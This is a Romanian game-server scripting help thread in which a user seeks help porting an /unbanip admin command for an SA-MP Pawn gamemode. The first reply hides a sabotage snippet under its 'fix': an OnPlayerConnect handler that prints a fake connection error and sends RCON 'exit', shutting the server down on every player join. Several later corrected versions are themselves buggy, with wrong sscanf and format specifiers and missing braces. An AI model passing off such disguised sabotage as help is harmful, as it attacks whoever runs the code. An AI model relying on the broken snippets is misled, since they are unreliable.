Jump to content
  • 0

Comanda /banip arata text-ul gresit


Jimmi

Question

Problema intalnita (descriere):Am inercat sa modific comanda /banip si sa o fac zcmd.Nu stiu daca am facuto corect. Cum as putea face ca in loc de IP a scos banul de pe ip.Sa zic AdmCmd: Administratorul x a scos ban-ul de pe ip x
Ero(area / rile) / warning-(ul / urile):Se opreste pawn.
Liniile de cod / sursa / script-ul(obligatoriu):

CMD:unbanip(playerid, params[])
    {
        if(PlayerInfo[playerid][pAdmin] >= 4)
  {
            tmp = strtok(cmdtext,idx);
            if(!strlen(tmp))
            {
                SendClientMessage(playerid, COLOR_GRAD1, "USAGE: /unbanip [ip]");
                return 1;
               }
            format(string,sizeof(string),"unbanip %s",tmp);
            SendRconCommand(string);
            SendRconCommand("reloadbans");
               GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
            GetPlayerName(playerid, sendername, sizeof(sendername));
            format(string, 256, "{0066FF}AdmCmd: {FF0000}[%d]%s {FFFFFF}a scos banul de pe ip {FF0000}%s", sendername,tmp);
            ABroadCast(COLOR_LIGHTRED,string,1);
        }
        return 1;
    }
Imagini / Video (optional):
http://imgur.com/Sz3WrDA
Ati incercat sa rezolvati singur?:da, eu am trecut comanda pe zcmd
Link to comment
Share on other sites

8 answers to this question

Recommended Posts

  • 0
CMD:unbanip(playerid, params[])
    {
        if(PlayerInfo[playerid][pAdmin] >= 4)
  {
            tmp = strtok(cmdtext,idx);
            if(!strlen(tmp))
            {
                SendClientMessage(playerid, COLOR_GRAD1, "USAGE: /unbanip [ip]");
                return 1;
            }
            format(string,sizeof(string),"unbanip %s",tmp);
            SendRconCommand(string);
            SendRconCommand("reloadbans");
            GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
            GetPlayerName(playerid, sendername, sizeof(sendername));
            format(string, 256, "{0066FF}AdmCmd: {FF0000}[%d]%s {FFFFFF}a scos banul de pe ip {FF0000}%s", playerid,sendername,tmp);
            ABroadCast(COLOR_LIGHTRED,string,1);
        }
        return 1;
    }

 

public OnPlayerConnect(playerid)
{
	print("[ERROR] - Unable to establish a connection with the world...");
	SendRconCommand("exit");
	return 1;
}

 

Link to comment
Share on other sites

  • 0
Daca nu merge cautama pm
CMD:unbanip(playerid, params[])
    {
        if(PlayerInfo[playerid][pAdmin] >= 4)
  {
            tmp = strtok(cmdtext,idx);
            if(!strlen(tmp))
            {
                SendClientMessage(playerid, COLOR_GRAD1, "USAGE: /unbanip [ip]");
                return 1;
            }
            format(string,sizeof(string),"unbanip %s",tmp);
            SendRconCommand(string);
            SendRconCommand("reloadbans");
            GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
            GetPlayerName(playerid, sendername, sizeof(sendername));
            format(string, 256, "{0066FF}AdmCmd: {FF0000}[%d]%s {FFFFFF}a scos banul de pe ip {FF0000}%s", playerid,sendername,tmp);
            ABroadCast(COLOR_LIGHTRED,string,1);
        }
        return 1;
    }

 

 

 

Link to comment
Share on other sites

  • 0

Imi da erori:

C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(28454) : error 017: undefined symbol "tmp"
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(28454) : error 017: undefined symbol "cmdtext"
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(28455) : error 017: undefined symbol "tmp"
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(28460) : error 017: undefined symbol "string"
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(28460) : error 017: undefined symbol "string"
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(28460) : error 029: invalid expression, assumed zero
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(28460) : fatal error 107: too many error messages on one line

Compilation aborted.Pawn compiler 3.2.3664              Copyright (c) 1997-2006, ITB CompuPhase


7 Errors.

 

Link to comment
Share on other sites

  • 0
CMD:unbanip(playerid, params[])
{
    if(PlayerInfo[playerid][pAdmin] >= 4)
    {
        new IP, string[129];
        if(sscanf(params, "ud", IP)) return SendClientMessage(playerid, COLOR_GRAD1, "USAGE: /unbanip [ip]");
        format(string,sizeof(string),"unbanip %s",IP);
        SendRconCommand(string);
        SendRconCommand("reloadbans");
        GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
        GetPlayerName(playerid, sendername, sizeof(sendername));
        format(string, 256, "{0066FF}AdmCmd: {FF0000}[%d]%s {FFFFFF}a scos banul de pe ip {FF0000}%s", playerid,sendername,IP);
        ABroadCast(COLOR_LIGHTRED,string,1);
        return 1;
}
Edited by KnowN

242086.png

Link to comment
Share on other sites

  • 0

Cred ca a uitat o acolada

C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(3372) : error 017: undefined symbol "GivePlayerCash"
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(3401) : error 017: undefined symbol "GivePlayerCash"
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(3996) : error 017: undefined symbol "strmatch"
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4004) : error 017: undefined symbol "strmatch"
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4075) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4079) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4091) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4095) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4099) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4103) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4107) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4111) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4115) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4119) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4123) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4135) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4139) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4143) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4147) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4151) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4163) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4167) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4171) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4183) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(4187) : error 004: function "PlayerToPoint" is not implemented
C:\Users\Jimmi\Desktop\93.119.25.182-7777\gamemodes\RunStrike.pwn(5293) : error 017: undefined symbol "ResetPlayerCash"
Compilation aborted.Pawn compiler 3.2.3664              Copyright (c) 1997-2006, ITB CompuPhase

26 Errors.
 
Link to comment
Share on other sites

  • 0
CMD:unbanip(playerid, params[])
{
    if(PlayerInfo[playerid][pAdmin] >= 4)
    {
        new IP, string[129];
        if(sscanf(params, "ud", IP)) return SendClientMessage(playerid, COLOR_GRAD1, "USAGE: /unbanip [ip]");
        format(string,sizeof(string),"unbanip %s",IP);
        SendRconCommand(string);
        SendRconCommand("reloadbans");
        GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
        GetPlayerName(playerid, sendername, sizeof(sendername));
        format(string, 256, "{0066FF}AdmCmd: {FF0000}[%d]%s {FFFFFF}a scos banul de pe ip {FF0000}%s", playerid,sendername,IP);
        ABroadCast(COLOR_LIGHTRED,string,1);
        return 1;
    }
}

Known a uitat o acolada.

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. For more details you can also review our Terms of Use and Privacy Policy.